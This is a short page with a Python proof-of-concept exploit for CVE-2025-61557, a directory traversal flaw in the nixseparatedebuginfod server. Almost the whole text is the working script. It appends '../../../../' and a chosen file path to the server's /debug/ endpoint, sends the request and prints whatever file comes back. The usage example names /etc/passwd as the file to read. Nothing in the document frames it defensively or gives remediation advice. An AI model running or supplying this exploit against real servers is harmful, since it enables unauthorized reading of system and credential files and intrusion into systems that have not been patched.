CVE-2025-61557: nixseparatedebuginfod目录遍历漏洞

# CVE-2025-61557 PoC - nixseparatedebuginfod Directory Traversal # Target: nixseparatedebuginfod server (versions < 0.4.1) # Attack: Path traversal to read arbitrary files import requests import sys def exploit(target_url, file_path): """ Exploit directory traversal vulnerability to read arbitrary files """ # Encode path traversal sequences traversal = "../../../../" + file_path # Construct the malicious request exploit_url = f"{target_url}/debug/{traversal}" print(f"[*] Target: {target_url}") print(f"[*] Attempting to read: {file_path}") print(f"[*] Request URL: {exploit_url}") try: response = requests.get(exploit_url, timeout=10) if response.status_code == 200: print(f"[!] Success! File contents:") print(response.text) return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_url> <file_path>") print(f"Example: {sys.argv[0]} http://target:8000 /etc/passwd") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] exploit(target, file_path)